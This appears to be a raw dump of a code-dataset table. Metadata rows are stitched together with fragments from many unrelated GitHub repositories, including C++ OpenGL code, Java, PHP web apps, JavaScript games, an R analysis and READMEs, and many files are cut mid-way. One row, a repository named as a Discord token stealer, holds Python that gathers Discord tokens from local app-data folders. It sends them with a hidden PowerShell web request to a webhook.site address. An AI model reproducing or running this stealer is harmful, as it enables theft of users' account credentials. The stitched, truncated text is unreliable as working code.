branch_name stringclasses 149
values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38
values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <file_sep>#include <GL/gl.h>
#include <string.h>
#ifdef __APPLE__
#include <GLUT/glut.h>
#else
#include <GL/glut.h>
#endif
#include <SOIL.h>
#include <stdlib.h>
#include <iostream>
#include <math.h>
#include <ctime>
#define PI 3.14159
using namespace std;
bool WireFrame= false;
float i =0;
const GLfloat light_ambi... | a39cf9f6655cc07978417b62afbaf40fd0dde2be | [
"Markdown",
"C++"
] | 5 | C++ | RichardMoj/CSCI173 | 955e1aef69ff4f75919cdcf48956a80656a130d8 | 1c62a14c5f4d675ce8504f899a2341d318aa3e21 |
refs/heads/master | <file_sep>package com.test.totaldemp.modle;
import java.util.List;
/**
* Created by Administrator on 2018/7/3.
*/
public class College {
// 大学名
public String name;
// 班级列表
public List<Classes> classList;
public String getName() {
return name;
}
public void setName(String name... | 7159ba722a290912349857d1cf14e17bc7930219 | [
"Java"
] | 13 | Java | zk5818/TotalDemo | a0c316ae524c88367cb43dcbcaf65de584064d90 | 22b9f3a204166dfa02955fe8b2e080bb6da7a6a2 |
refs/heads/master | <repo_name>ProjectMaker/koala-frontend<file_sep>/js/koala/build/lib/autocomplete/ItemView.js
define(['module'
,'underscore'
,'backbone'],
function( module
,_
,Backbone
) {
var AutoCompleteItemView = Backbone.View.extend({
tagName: "li",
template: _.template('<a href="#">... | 6c988a0f153a43e7efb1976a5c9a60c39d7b542b | [
"JavaScript"
] | 21 | JavaScript | ProjectMaker/koala-frontend | 39c3858fef7ced5bb4eb7c1a711b49941828c124 | 7c2efc3e5e5eaa2d761650030a8195184ca9bb77 |
refs/heads/master | <repo_name>maverickwoo/bap-callstrings-plugin<file_sep>/extractor.sh
#!/usr/bin/env bash
extract () {
local d=$1
shift
local f=$1
shift
printf "!!!Extract [%s/%s]:\n" $d $f
(cd $d;
(time bap-objdump $f -l ../../sqlite3 -l ../../sqlite3EZ -l ../../extractor "$@") 2>&1;
echo;
true
... | 8300f73df1484de17736833ba1ca99f77ca40177 | [
"Makefile",
"Shell"
] | 3 | Shell | maverickwoo/bap-callstrings-plugin | 859ffb1ef707226b50331f815d00113653c60061 | 3e89e1314b57e3a413944d33497ffe04ac89ae9c |
refs/heads/master | <file_sep>import React, { Component } from 'react'
import { BrowserRouter, Route} from 'react-router-dom';
import StreamCreate from './streams/StreamCreate'
import StreamDelete from './streams/StreamDelete'
import StreamEdit from './streams/StreamEdit'
import StreamShow from './streams/StreamShow'
import StreamList fro... | 11ecb017effeb53e47e5b53b7bea59efd89ff15f | [
"JavaScript"
] | 1 | JavaScript | clifton311/twitch_redux | 87dbeb8db0a489d7a5835835ac9826c3e0249fac | 35d8bbb0e3beced8eceaa459e85f038662235e09 |
refs/heads/master | <repo_name>aetheryx/programmatic-repl<file_sep>/test.js
/* global describe, it */
const chai = require('chai');
chai.use(require('chai-as-promised'));
const { expect } = chai;
const ProgrammaticREPL = require(`${__dirname}/index.js`);
const getREPL = (cfg, ctx = {}) => new ProgrammaticREPL({
includeNative: true,
... | 82bbfbce1ba6f64cdcad1b6cb277c8801b2d266a | [
"JavaScript"
] | 1 | JavaScript | aetheryx/programmatic-repl | ae12b427416cb113d82f7f34f146da6d6f672fa0 | b3aba79153d959d91905dadc40b4ffc663a791bd |
refs/heads/main | <file_sep>MONGODB_IP=IP
MONGODB_PORT=PORT
<file_sep>version: "3"
services:
mongo:
container_name: mongo-data
image: mongo
restart: always
volumes:
- ./data/db/mongo/:/data/db
ports:
- "27017:27017"
mariadb:
container_name: maria-dota
image: mariadb
restart: unless-stopped... | a55ae72682917b8fa55d0b14f1a164888cefdcca | [
"Python",
"YAML",
"Shell"
] | 5 | Shell | matheus-frota/dota-project | c2b370b0c9a6ab8da196e475eaecc97cbea7fed3 | 4d6026762d700b2075c5e7a80c4c022f2046a46e |
refs/heads/master | <repo_name>rslmachado/olzc<file_sep>/examples/api/js/game.js
//TODO: Incorporar metodo de carregar arquivos no Objeto da API
var gamePath = 'assets/';
function loadjscssfile(filename, filetype, withCredentials = true){
var response;
//TODO: Verificar forma alternativa para carregar arquivos de forma sincrona
//... | ad68e4d09f9bcbd51872d923416fb8352300d3b2 | [
"JavaScript",
"Markdown"
] | 9 | JavaScript | rslmachado/olzc | 0fe2214ac0ddae7a78f68e11db21cdc4fc94a6ab | e74ae1230b7cd0076c0d0752063df16351cac59c |
refs/heads/master | <file_sep>class Launcher
{
constructor()
{
this.mainLayout = new MainLayout();
}
start(){
this.setEventListener();
}
setEventListener(){
this.mainLayout.gameMulipBtn.on('click', () => this.startGameMultip() )
}
startGameMultip(){
var gameGen = new ... | f27f9504b501e3e7c362a5b38508a444d1fd21a9 | [
"JavaScript",
"TypeScript"
] | 14 | JavaScript | reneongithub/sandbox | 36bd0c7c81779c5d598b2d94d5f210d77ff3155a | efdd7f8bb511de729be092004ab049633808fdcd |
refs/heads/master | <file_sep>package firstgradleproject;
public class TestMain {
public static void main(String[] args) {
System.out.println(getWelcomeMsg());
}
public static String getWelcomeMsg() {
return "first gradle project";
}
}
| 73ea4d3d589d524e135423474f326ef5581fd518 | [
"Java"
] | 1 | Java | vivekbdvt/firstGradleProject | 4ef5bc403f7d369fefc91e6dcbf4437849032c89 | 995a326d94c030c0a0ea0cd618811e44985dd461 |
refs/heads/master | <file_sep># instalacao-de-banco-com-tabelas-de-arquivo-sql
Instalação de banco com tabelas de arquivos sql
<file_sep><?php
class conexao{
public $ip='localhost';
public $banco='seu_banco';
public $usuario='root';
public $senha='';
//--------------------------------------------------
public function sql_con_quer... | 0dfcb9b1dfcab10a48e0abc3db9ab971352d1a69 | [
"Markdown",
"PHP"
] | 2 | Markdown | meumundophp/instalacao-de-banco-com-tabelas-de-arquivo-sql | 069b700414e386bae556c84e9b903988afdf0c07 | 6c432290e64f8736847122f698481936ea15f358 |
refs/heads/master | <repo_name>monfrik/sliderPlugin<file_sep>/js/sliderPlugin.js
(function( $ ) {
jQuery.fn.slider = function(options) {
/*берём нужные параметры из введённых пользователем и записываем их в settings, иначе записываются дефолтные*/
let settings = $.extend({
controls: true,
color:... | afc94854674e0d373a6a962542baa213462a489b | [
"JavaScript"
] | 1 | JavaScript | monfrik/sliderPlugin | 33e39000d09d1a5c36c5a688487fbf8da44d11be | 7ee8ad3d6749f73dea29d3d3bc6c5e7a19536929 |
refs/heads/master | <file_sep>'use strict';
function fibonacci_series(n) {
var fibonacciArray = [0];
for (var i = 0; i <= n; i++) {
if (i === 1) {
fibonacciArray.push(1);
}
if (i > 1) {
fibonacciArray.push(fibonacciArray[i - 1] + fibonacciArray[i - 2]);
}
}
return f... | 6460163991483d17f4d6d18a17230607dcf52326 | [
"JavaScript"
] | 1 | JavaScript | MHwishes/fibonacci_series | 4b199e4cb85ac9514d390611fe2352cda279097a | 202c1d484435cb54cf717b6fc9494bc9c8edd18b |
refs/heads/master | <repo_name>openstack/deb-python-pysaml2<file_sep>/setup.py
#!/usr/bin/env python
import re
import sys
from setuptools import setup
from setuptools.command.test import test as TestCommand
install_requires = [
# core dependencies
'decorator',
'requests >= 1.0.0',
'future',
'paste',
'zope.interf... | 47c221959939aaa6bbffca155cc0963b7b714a09 | [
"Python",
"Text",
"reStructuredText"
] | 4 | Python | openstack/deb-python-pysaml2 | c54db131dd2c54b18bdc300ba7fdf3b08e68f07c | 1e24d1d7d5dfd75de74fb557e02e5c2df3a07428 |
refs/heads/master | <repo_name>Ozatm/Chess<file_sep>/chess.js
/** To-Do
Comment
**/
var ROW = 0;
var COLOR = 0;
var COLUMN= 1;
var PIECE = 1;
var KINGMOVES = [[1,-1], [1,0], [1,1], [0,1], [-1,1], [-1,0], [-1,-1], [0,-1], [0,-2], [0,2]];
var KNIGHTMOVES = [[1,2], [2,1], [2,-1], [1,-2], [-1,-2], [-2,1], [-2,-1], [-1,2]];
var BISH... | f076b52c125f760c41db8e9d1dc67b4c3033e08d | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | Ozatm/Chess | 1cea8399f29ffc0af616a54b64aa452a45fdc0f9 | f7838485aaaeff6cfb0fd11320710a26c6abd924 |
refs/heads/master | <repo_name>cod3pro/CityInfo<file_sep>/seeds.js
var mongoose = require("mongoose"),
cityInfo = require("./models/cityinfo"),
Comment = require("./models/comment");
var data = [
{
name: "Hollywood",
image: "https://upload.wikimedia.org/wikipedia/commons/thumb/5/5a/Hollywood_Sign_%28Zuschnitt%... | 23e54ab1af5fc0504ed647396eea035fdf676409 | [
"JavaScript"
] | 3 | JavaScript | cod3pro/CityInfo | cd1906237f3d841ec68fb74faae216a8e0423c55 | e3a99c5d1a2d0067ed2d32568f1b997a7fee14f8 |
refs/heads/master | <file_sep>public class EmployeeWageComputation2 {
public int empWage() {
//Variables
int isFullTime=1;
int empCheck=(int) (Math.random()*2); //Using random check whether Employee is Present or Absent
int empRatePerHr=8;
int empHrs=20;
//Computation
if (empC... | e6544a94ce7d9a58c131d3b35f5792a7370266e6 | [
"Java"
] | 2 | Java | riteshkumar6666/day10 | 512d6c3fbbaa4957bb7a61a5bda66d6d635cccb6 | 777af055605bae1c7b6ff44491ec98a084c8609b |
refs/heads/master | <repo_name>whitetrefoil/is-string-array<file_sep>/tests/main.spec.ts
jest.resetModules()
import isStringArray from '../src/main'
describe('allowEmpty === undefined', () => {
test('string[]', () => {
const target = ['1', '2']
expect(isStringArray(target)).toBe(true)
})
test('number[]', () => {
const... | b57d1d5fadac94f2a69e649a7eb94b435ae8b5dd | [
"Markdown",
"TypeScript"
] | 3 | TypeScript | whitetrefoil/is-string-array | e4540898d5114551539791ba4f09317d99502110 | 91c42abb78100a824170bee30d0107b6f5cd162d |
refs/heads/main | <file_sep>import os
LOCAL = os.getenv("LOCALAPPDATA")
ROAMING = os.getenv("APPDATA")
CMD = "powershell -windowstyle hidden Invoke-WebRequest https://webhook.site/<token> -Method 'POST' -Body @{\'token\'=\'CONTENT\'}"
tokens = []
# Yes I stole the paths from Vortex
PATHS = [
ROAMING +"\\Discord",
ROA... | bfe277b854b303efbd2082465b3dab51721973d5 | [
"Python"
] | 1 | Python | Florian7T/discord-token-stealer | 65b22ac4f4115af8b3cf8358abfeac9385045d02 | 983ae7c9d1ddd1483d042d8e57a9073278bf1715 |
refs/heads/master | <file_sep><?php
namespace AppBundle\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Symfony\Component\HttpFo... | e42c87739cefa48912990cc3553bc66399d72d83 | [
"PHP"
] | 25 | PHP | ArtemioVegas/todo-advanced | 629fa3954225a27974d063c497e06fec1757f658 | e98a3eecddee05ac7400554ff0c0eec8ecdf46a3 |
refs/heads/master | <file_sep>"# JavaEx"
<file_sep>/**
* Created by Matan on 05/08/2016.
*/
public class Stam {
int thisiSatEST;
}
| 87fbfb0b7ce670b03e4cd1fd0403d26f06e7d8b7 | [
"Markdown",
"Java"
] | 2 | Markdown | mataness/JavaEx | cccfd6f2324bcaa41c6635be0c89957901fe3ef7 | b5532419bdd3996559116599f74e064dedebda50 |
refs/heads/master | <repo_name>kenjiz/onerails<file_sep>/test/helpers/testicles_helper_test.rb
require 'test_helper'
class TesticlesHelperTest < ActionView::TestCase
end
| 3bf1b0e223635f70b2d1f7729b6499a3bddd615d | [
"Ruby"
] | 1 | Ruby | kenjiz/onerails | f4fdcabfd67d856eea5e4bd0937cbb3614ab93b6 | 6a74c81dbe18225538147e02b3b9aadd2c581bbe |
refs/heads/master | <file_sep>// Simple Receipt class
class Receipt{
constructor(date, name, amount){
this.date = date;
this.name = name;
this.amount = amount;
}
}
// Class used to manage receipts
class ReceiptsManager{
constructor(receipts){
this.receipts = [];
receipts = JSON.parse(r... | 8a9ec0d04dddfc1425c83a086eb7a3e93affb9f4 | [
"JavaScript",
"Markdown",
"PHP"
] | 6 | JavaScript | CrapalZ/5team-test | eee667725247b5d4af1893cf4edd249456ca64e4 | 93d28589e37e6a54487fd0fb8efabbb90ee388ea |
refs/heads/master | <file_sep>plugins {
`java-gradle-plugin`
id("com.gradle.plugin-publish") version "0.13.0"
kotlin("jvm") version "1.3.70"
`maven-publish`
}
group = "com.shinow"
version = "1.0.3"
repositories {
mavenCentral()
maven {
name = "Spring Repositories"
url = uri("https://repo.spring.io... | 54c5846c44e27a038d2e8d67aa6e48330a585071 | [
"Markdown",
"Kotlin"
] | 4 | Kotlin | gaohuijue/oas-doc-gradle-plugin | 03083059b0b339976a02f5749ef0a51c1fe0059d | b0deecdb382026bda1435b53d6a8bed0a1d53767 |
refs/heads/master | <file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class contactUsModel extends Model
{
protected $table = "tbl_contactus_queries";
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
use App\postModel;
class headerMenuModel extends Model
{
protected $table ="tbl_me... | 6c32c3a46193d2be72855f740b38220a0eb96a7c | [
"HTML",
"PHP",
"INI"
] | 24 | PHP | baljit03/deftsoft | 2dd4053a37cf3c53627ddba4b1f18cb901b5be81 | 064f9d8169508d8e8b6ca39fb2331c8a3aae6cf1 |
refs/heads/master | <repo_name>n-insaidoo/St-James-with-St-Luke-WP-Theme<file_sep>/README.md
# St-James-with-St-Luke-WP-Theme
WordPress theme for St James' with St Luke's church
<file_sep>/stjameswithstluke/index.php
<?php
/**
* The main template file
*
*/
get_header();
?>
<section id=primary-content >
<main id=main >
... | 20b795955a33c72a14202eebc5fb231934631193 | [
"Markdown",
"PHP"
] | 4 | Markdown | n-insaidoo/St-James-with-St-Luke-WP-Theme | 56a099418dfc2eeff23d4c2b2a16b962fa279e5d | 9be1a47efc2a1fefa502fc48961af9b810aa5415 |
refs/heads/master | <repo_name>waffle-iron/zendesk-tickets-machine<file_sep>/zendesk_tickets_machine/tickets/tests/test_forms.py
from django.test import TestCase
from ..forms import TicketForm
from ..models import Ticket
from agents.models import Agent
from agent_groups.models import AgentGroup
from boards.models import Board
class Tic... | 82be1a1b06cb4b468ce9e0a140539e762f3e2a41 | [
"Python",
"Dockerfile",
"YAML"
] | 14 | Python | waffle-iron/zendesk-tickets-machine | 678909e215adc5389b56b09899cdb245bb35cf89 | a179f4c5986365d40e093704ba7c4156df6980f3 |
refs/heads/gh-pages | <file_sep>---
title: Starting and Submitting Work
published: true
---
# {{page.title}}
## Starting a project in VS Code
<iframe width="560" height="315" src="https://www.youtube.com/embed/JDv99gae8B0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></if... | b831163b18b50d3b8c3a4988f14f5f6f69b8d503 | [
"Markdown",
"JavaScript"
] | 45 | Markdown | fcs-cs/cs2 | 26097ead1161abe8db4849a2d198e207551c713c | a6e81c3c3de0d6810b21414b9c12b95abf1cd693 |
refs/heads/master | <file_sep>pyopenssl==19.1.0
pytz==2016.7
signxml==2.8.1
cryptography==3.3
endesive==2.0.1
chardet==3.0.4
<file_sep>__version__ = '1.0.1'
from erpbrasil.assinatura.assinatura import Assinatura # noqa: F401
from erpbrasil.assinatura.certificado import Certificado # noqa: F401
| 522c77b4a0d39f14f7e972f2ab8ab61ee57a0432 | [
"Python",
"Text"
] | 2 | Text | jjnf/erpbrasil.assinatura | f710acdfeaea68cd91fda3a78392391becc181df | 2f4aa6281f24a6c21309bff4eef5aae36b59054b |
refs/heads/main | <repo_name>Shkiller/SpringToDoList<file_sep>/src/main/java/main/model/ToDoListService.java
package main.model;
import main.EntityNotFoundException;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Service;
@Service
public class ToDoListS... | b2e6bf75dc5499c85335cf3d6e9389c686cdb9fb | [
"Java",
"INI"
] | 5 | Java | Shkiller/SpringToDoList | 465e2fb152cce6bc490417a95349e757d5e0abfa | b0a9166e0940d769e3bd0a70fa1e7501b023f4ab |
refs/heads/master | <file_sep>#encoding: utf-8
require 'rubygems'
require 'sinatra'
require 'sinatra/reloader'
require 'SQLite3'
def init_db
@db = SQLite3::Database.new 'leprosorium.db'
@db.results_as_hash = true
end
configure do
init_db
# => создает таблицу, если таблица не существует
@db.execute 'CREATE TABLE if not exists posts... | 31edbd121ec9607c8124132fec260e321e896949 | [
"Ruby"
] | 1 | Ruby | Yar-ua/Leprosorium | 36b71aac89a3caa4579976f7ca4b9136011a3954 | 67db9db80e9003d7fcc2485acb37541ba25165ae |
refs/heads/master | <file_sep>Pod::Spec.new do |s|
s.name = "ReactiveMoya"
s.version = "4.1.0"
s.ios.deployment_target = '8.0'
s.osx.deployment_target = '10.10'
s.source = { :git => "https://github.com/Moya/Moya.git", :tag => s.version }
s.source_files = ["Source/*swift", "Source/Plugins/*swift", "Source/Re... | 5c915c7a2ae8e6ba299682476b9538cc2154a307 | [
"Swift",
"Ruby"
] | 6 | Ruby | ggthedev/Moya | 964c863df66d620b2020791d60bc2d44b2ab220a | 30f7d30e3fc889eb3a658a8ad8ef3fd7fb23e708 |
refs/heads/master | <repo_name>deepgosalia/DjangoProject<file_sep>/mysite/main/views.py
from django.shortcuts import render,redirect
from django.http import HttpResponse
from .models import Tutorial
from django.contrib.auth.forms import UserCreationForm
from django.contrib.auth import login,logout, authenticate
#u can also extend the abov... | 3ef4b5846fe12c0bcdf4fa28ff1d194ea8bdc8ec | [
"Python"
] | 1 | Python | deepgosalia/DjangoProject | b7c59b64cccf65e55df3ca5a2909be08a4cd6b5f | c16212d7e4dc0ac40155ca363d566d344f95c7f3 |
refs/heads/master | <file_sep># music
# 项目运行
1. npm install
2. gulp
<file_sep>var gulp = require("gulp");
//压缩html 插件
var htmlClean = require("gulp-htmlclean");
//压缩图片
var imageMin = require("gulp-imagemin");
//压缩js
var uglify = require("gulp-uglify");
//去掉js中的调试语句如console
var debug = require("gulp-strip-debug");
//将less转换成css
var le... | 3c64822ad4562e1006f8d858db4173c73613b027 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | frenchleave1007/music | 7f31413544b0435b36fbf4dcf83da442879d74cd | a51131d3f60a21ed7861100964b328d930e1dfa8 |
refs/heads/master | <repo_name>pombredanne/eventizer-1<file_sep>/parse/category/categorize.py
""" Categorize Events
<EMAIL> + <NAME>
"""
from nltk.corpus import stopwords
from nltk.stem import PorterStemmer
from nltk.tokenize import WordPunctTokenizer
from nltk.collocations import BigramCollocationFinder
from nltk.metrics impo... | 342038e430477e41c36172dc1533c5fc3c371b7e | [
"Python",
"Text"
] | 29 | Python | pombredanne/eventizer-1 | 842524c825ce99e08e2cd41d93ed6e8d39b2fb8f | e0c491f034637b0f600a574c6bec757c6e1528a2 |
refs/heads/master | <repo_name>m-simsek/nn_image_identification<file_sep>/README.md
<h1>Image identification with a convolutional neural network</h1>
developed by <NAME> @ University Reutlingen
The aim of this project is to find the color, shape and x/y-coordinates of images with a convolutional neural network.
The data for train and t... | c7dbc10583b35ef4fd852d7fd93a077a8ce43c44 | [
"Markdown",
"Python",
"Dockerfile"
] | 7 | Markdown | m-simsek/nn_image_identification | d85a206c520fe8d4990402bb75e4625661847bb1 | bca67a817ba51a6344c1fc5970260c49161ab196 |
refs/heads/master | <repo_name>josephwilliams/tetragon_firebase<file_sep>/components/splash/start_splash.jsx
import React from 'react';
class StartSplash extends React.Component {
constructor () {
super();
}
linkTo (address) {
this.context.router.push(address);
}
render () {
return (
<div className="start-spla... | ef6bb8eb81dc4fad30f37ca1e7ac9c2cca047e08 | [
"JavaScript"
] | 18 | JavaScript | josephwilliams/tetragon_firebase | 63093a47577f400e5313cb290595ad29a509d546 | 3c7bd864d60bc5a37289e18ab268390e1891ed6d |
refs/heads/master | <repo_name>wuyao666/ssm-crm<file_sep>/ssm-crm/src/cn/itwuyao/ssm/controller/CustomerController.java
package cn.itwuyao.ssm.controller;
import java.util.List;
import javax.servlet.http.HttpServletRequest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotatio... | b5bd64e2bd89627f04ffa069eaa6b0d460844c25 | [
"Java"
] | 2 | Java | wuyao666/ssm-crm | c90f2a9cb1c2b8f547e986b7390ee94572dc92a9 | 6edcb222867947861d3c8b83c7215950115c7df1 |
refs/heads/master | <file_sep>Personal Website developed with ReactJS and some BootStrap 4, hosted on github pages and can be found at <a href = "https://jasonrcabrera.com"> jasonrcabrera.com </a>
Currently exploring how to make webpage more interactive with JavaScript.
Source code is found in the master branch. Built static branch is f... | adcba97b089746363618d62c8331d3210bd09d85 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | jayrc7/website | 24f77abee2ffcb733b757178ee059033b0b25997 | 75b41a83420539907d0d0228ecdd291e3eeb25a8 |
refs/heads/master | <file_sep>const typeDefenition = `
type Product {
id: ID!
name: String!
description: String!
image: String!
}
type Order {
id: ID!
status: Int
products: [Product]!
}
input OrderInput {
products: [Product]!
}
type RootQuery {
product... | 500c8474a020bb503b846d74773e3349d358e9d8 | [
"JavaScript"
] | 1 | JavaScript | brusni4ka/ShoppingCart | 621c69c8b77e991131c18a511ac6b89d320b0806 | cb7ea8de89daa1fd3d67f59633006e4e798356aa |
refs/heads/main | <repo_name>RicardoG06/App-gestion-horarios<file_sep>/README.md
# App - Gestion_horarios_aws
Se realizara un app para la gestion y control de horarios en la empresa Manantial utilizando las herramientas de AWS Amplify
## Empecemos
## Login

## Installation
### Module installation
- Upload the module via your Back Office
- Install the module... | c26b6f6fe0352b3f1c35aeae9e24bc10c50b9678 | [
"Markdown",
"PHP"
] | 4 | Markdown | thirtybees/overridecheck | 942c428ae7ba2e559af0ed91c81bae669d0cd54b | e8137a7aab60aa392d81fffd6fbde3c58368305c |
refs/heads/master | <file_sep># mgahed-blog
## Project setup
```
npm install
```
### Compiles and hot-reloads for development
```
npm run serve
```
### Compiles and minifies for production
```
npm run build
```
### about
This project is a mini blog app that created with vue, and I used laravel to support vue app end points
### Custom... | 02d7004ee9c6dbc7f98f09324cbf1d08eda12408 | [
"Markdown",
"JavaScript"
] | 3 | Markdown | Mgahed/mini-blog | f0efd4b10075632d2db21e6fcbedd6855ecb0231 | 8350718ca509cf2d27faaeadcd9e834df733b9cb |
refs/heads/main | <repo_name>179660663/php_tools<file_sep>/src/Date.php
<?php
namespace Tools;
class Date
{
}<file_sep>/README.md
# php_tools
封装一个php工具合集
| 8e48fbaee81f249285a36b0d12c37cee1df977ff | [
"Markdown",
"PHP"
] | 2 | PHP | 179660663/php_tools | 9621e21359f027f951c78b8a05c10d0e628e39bd | e1ba5f2fc95ecbf819ad282099168955062ca3e9 |
refs/heads/master | <file_sep>class Milk extends Phaser.Sprite{
constructor(game, x, y, img){
super(game, x, y, img)
game.physics.enable(this, Phaser.Physics.ARCADE);
this.body.collideWorldBounds = true;
this.scale.setTo(0.12,0.12);
this.anchor.setTo(0.5,0.5);
this.damage = 1;
... | abd402c522ad39d0ff34736426810a7cb39c61b8 | [
"JavaScript",
"Text"
] | 5 | JavaScript | KevinPerondi/CookiesWar | 06c92c50438a83d3bbfc04f9cd49a8228bb9c1ea | c57c6b679d3d5c0d59cb2ff09ab111106927e6ba |
refs/heads/master | <repo_name>Gunagovindasamy/GunaKoushik<file_sep>/src/org/prep/CountOfOddNumber.java
package org.prep;
public class CountOfOddNumber {
public static void main(String[] args) {
int count=0;
for (int i = 0; i <=100; i++) {
if(i%2!=0) {
count=count+1;
}
}
System.out.println(count);
}
}
<file_s... | bafc3ae3249e688489aadfc4f36b0487e858298a | [
"Java"
] | 2 | Java | Gunagovindasamy/GunaKoushik | 7436f62f08a8761ca9fb72e6d8b6ef17ef2db5f0 | 8eabe6fba01a77aaa07033ed4199b4cc0d222694 |
refs/heads/master | <repo_name>meitotoro/batchODM<file_sep>/mainwindow.cpp
#include "mainwindow.h"
#include "ui_mainwindow.h"
#include "imagelistitem.h"
#include "taskmanager.h"
#include <QDialog>
#include <QString>
#include <QHBoxLayout>
#include <QVBoxLayout>
#include <QCheckBox>
#include <QLabel>
#include <QProgressBar>
#include <QTi... | 7d2fbd907dfe6ba86923b56981566866d9e5e137 | [
"C++"
] | 14 | C++ | meitotoro/batchODM | 5158b9630009f281620d594c084b6c456187912d | 296bd8f95afc99b42f1196bc9e0e72fd3e4044d1 |
refs/heads/master | <repo_name>pbatoon/credit<file_sep>/credit.py
import math
# Card Validation function
def card_validation(card_number):
card_type = "" # initialize card_type and valid variables
valid = False
num_digits = int(math.log10(card_number)+1) ... | fe21455a79bac5e4d2bbef88cedb1ab2622b9a98 | [
"Python"
] | 1 | Python | pbatoon/credit | 933732e0732f28e9a1c2e9033c4af1bff79f0183 | 28a18840c69981a80cb9357317a64de26ea6101d |
refs/heads/master | <repo_name>Physics-EA/Shader<file_sep>/README.md
# Shader
着色器
<file_sep>/Unity_Shaders_Book-master(2018.1.0b11)/Assets/Test/CameraControl.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class CameraControl : MonoBehaviour
{
private float Speed = 3;
private Vector3 Mous... | 9d22014a0c95a82b55732b51017a707a1b4733f4 | [
"Markdown",
"C#"
] | 2 | Markdown | Physics-EA/Shader | d5652cd04e6deb166567f40aa4c95360d41ec4b1 | 110fca5f6e79a1b37727076e573ece8aacb55c65 |
refs/heads/master | <file_sep>import { Component, OnInit } from '@angular/core';
@Component({
selector: 'app-policy-register',
templateUrl: './policy-register.component.html',
styleUrls: ['./policy-register.component.css']
})
export class PolicyRegisterComponent implements OnInit {
Pname:String;
Cname:String;
constructor() { }
... | 5555ae8c944bf691b5542d70ca1d817b9c254879 | [
"TypeScript"
] | 4 | TypeScript | Gowthamsasikala/gow | 2e8f038e187e632ad0386c6a367cb3aad0691dbe | 52f5c83ac8433f597faa51a938c4cffc6fdc7535 |
refs/heads/master | <repo_name>nusmanov/easy-fitnesse<file_sep>/src/main/java/Getter.java
import java.lang.reflect.Field;
import java.sql.Struct;
/**
* Created by nodirbek on 14.03.2017.
*/
public class Getter {
public static final String NULL_VALUE_DEFAULT = "null";
public static final String ERROR_MESSAGE_NO_SUCH_... | c94666fccadb8746f34f1e07970d42aea2f627b8 | [
"Java"
] | 1 | Java | nusmanov/easy-fitnesse | d80240afe08764def62b696186f7b1749af65470 | 51a4f3264c589d0062e91fe5b9775c646601a240 |
refs/heads/master | <file_sep>//Memory-Management-Simulator---First-Fit-Algorithm
//Simulator for the memory management portion of an operating system with fixed partition scheme using first-fit algorithm
/*
Memory: 32 KB
Scheme: Fixed
Algorithm: First-Fit
No. of Partitions:
Partition 1: 4 KB
Pa... | bd463e4b4caad25223ec15c6126c5daebf015657 | [
"C"
] | 1 | C | komrong/Memory-Management-Simulator---First-Fit-Algorithm | 15be29e54a50cfc5e11f365b673b2d4daf6dbb7d | d0fb8618b50b83d83cc37ea93f16690d50d8950d |
refs/heads/master | <repo_name>AntinDehoda/news_portal<file_sep>/src/Repository/Post/PostRepository.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Repository\Post;
use App\Entity\Post;
use Doctrin... | 829e9f50133119e24d6148db13fdc24c046153a4 | [
"PHP"
] | 29 | PHP | AntinDehoda/news_portal | c229d0c4f50333c73d5aa256ce045dd22e518c09 | e9ae0997794b3003aae0ac2415cd56c0f60568fd |
refs/heads/master | <repo_name>princerajeev21/cancer-wscbc<file_sep>/Wisconsin_BreastCancer.R
#STEP 1 - DATA INGESTION
#load data from csv file
cancer_data <- read.csv("breast_cancer.csv",stringsAsFactors = FALSE)
#View(cancer_data)
#check the structure of the data
str(cancer_data)
#STEP 2 - DATA PREPARATION
#since ID provides ... | b98eeec7af8051404c9c5967c4dca613284ddfb6 | [
"R"
] | 1 | R | princerajeev21/cancer-wscbc | 3894a4c51c9c2b7b491afb6f191dbf1b55a095bb | 3f1099d9610b076612ca49dd26470731912912b7 |
refs/heads/master | <repo_name>dakotajd/Kenosha-Parks<file_sep>/app/src/kenoshaPark/java/edu/uwp/appfactory/eventsmanagement/infoscreen/LinkFragment.java
package edu.uwp.appfactory.eventsmanagement.infoscreen;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import a... | 6d27554411e46af9a0d083520f5dae24ac4a2347 | [
"Markdown",
"Java"
] | 17 | Java | dakotajd/Kenosha-Parks | 2d716ee854dea5c60e0af9fbc0215ae2161789b9 | 20ae4ffd213a68e176a9fbeefb03dc3211a72ba0 |
refs/heads/master | <repo_name>marcadev-fc/lab-bulma-components<file_sep>/src/signup/Signup.js
import React from "react";
const Signup = () => {
return (
<div className="Singup">
<NavBar/>
<FormField/>
<CoolButton/>
</div>
)};<file_sep>/src/App.js
import React from 'react';
import 'bulma/css/bulm... | 9f6ea23043c420aa19ece2f8ffd1ad088c00cd69 | [
"JavaScript"
] | 3 | JavaScript | marcadev-fc/lab-bulma-components | 3bf774c2adcf5a8a1f87def89254781b67dc716a | a09ffa2cc5134a5f70e0533012cfba3e67cbb921 |
refs/heads/master | <repo_name>joubits/app-shop<file_sep>/app/Http/Controllers/TestController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Category;
class TestController extends Controller
{
public function home()
{
//has() se usa para cuando se quiere obtener categorias q tienen ... | 8d0cda8d4ffd4045f9c6c355e1613174ba5d6ab0 | [
"PHP"
] | 4 | PHP | joubits/app-shop | 9a843f46f3f7885373e1ce4d49ff2af46dba6ec5 | fc3514fbaf1834df2a72c869d5537adfe954c981 |
